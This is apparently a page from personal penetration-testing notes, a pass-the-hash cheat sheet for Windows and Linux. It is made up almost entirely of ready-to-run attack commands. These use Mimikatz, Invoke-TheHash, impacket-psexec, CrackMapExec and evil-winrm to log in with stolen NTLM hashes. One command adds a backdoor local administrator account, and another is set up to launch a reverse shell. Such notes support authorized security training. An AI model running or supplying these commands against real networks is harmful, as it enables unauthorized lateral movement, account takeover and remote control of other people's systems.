> For the complete documentation index, see [llms.txt](https://strange-1.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strange-1.gitbook.io/notes/password-attacks/pass-the-hash-pth.md).

# Pass-the-Hash (PtH)

## From **Windows**

### Mimikatz

```bash
mimikatz.exe privilege::debug "sekurlsa::pth /user:eren /rc4:paste-hash-here /domain:domain.local /run:cmd.exe" exit
```

### **PowerShell Invoke-TheHash**

* <https://github.com/Kevin-Robertson/Invoke-TheHash>

```bash
# Importing the module
Import-Module .\\Invoke-TheHash.psd1

# Invoke-TheHash with SMB
# below command will add local administrator to target system
Invoke-SMBExec -Target ip -Domain domain.com -Username eren -Hash paste-hash -Command "net user eren Password123 /add && net localgroup administrators eren /add" -Verbose

# Invoke-TheHash with WMI 
# below command will run a reverse shell 
Invoke-WMIExec -Target DC01 -Domain Administrator -Username eren -Hash paste-hash -Command "powershell -e reverse can be copied from revshells.com"
```

## From Linux

### Impacket-Psexec

```bash
impacket-psexec administrator@ip -hashes :30B3783CE2ABF1AF70F77D0660CF3453
```

### **CrackMapExec**

```bash
crackmapexec smb 10.10.1.0/24 -u Administrator -d . -H hash

crackmapexec smb ip -u Administrator -d . -H hash -x whoami
```

### **evil-winrm**

```bash
evil-winrm -i ip -u Administrator -H hash
```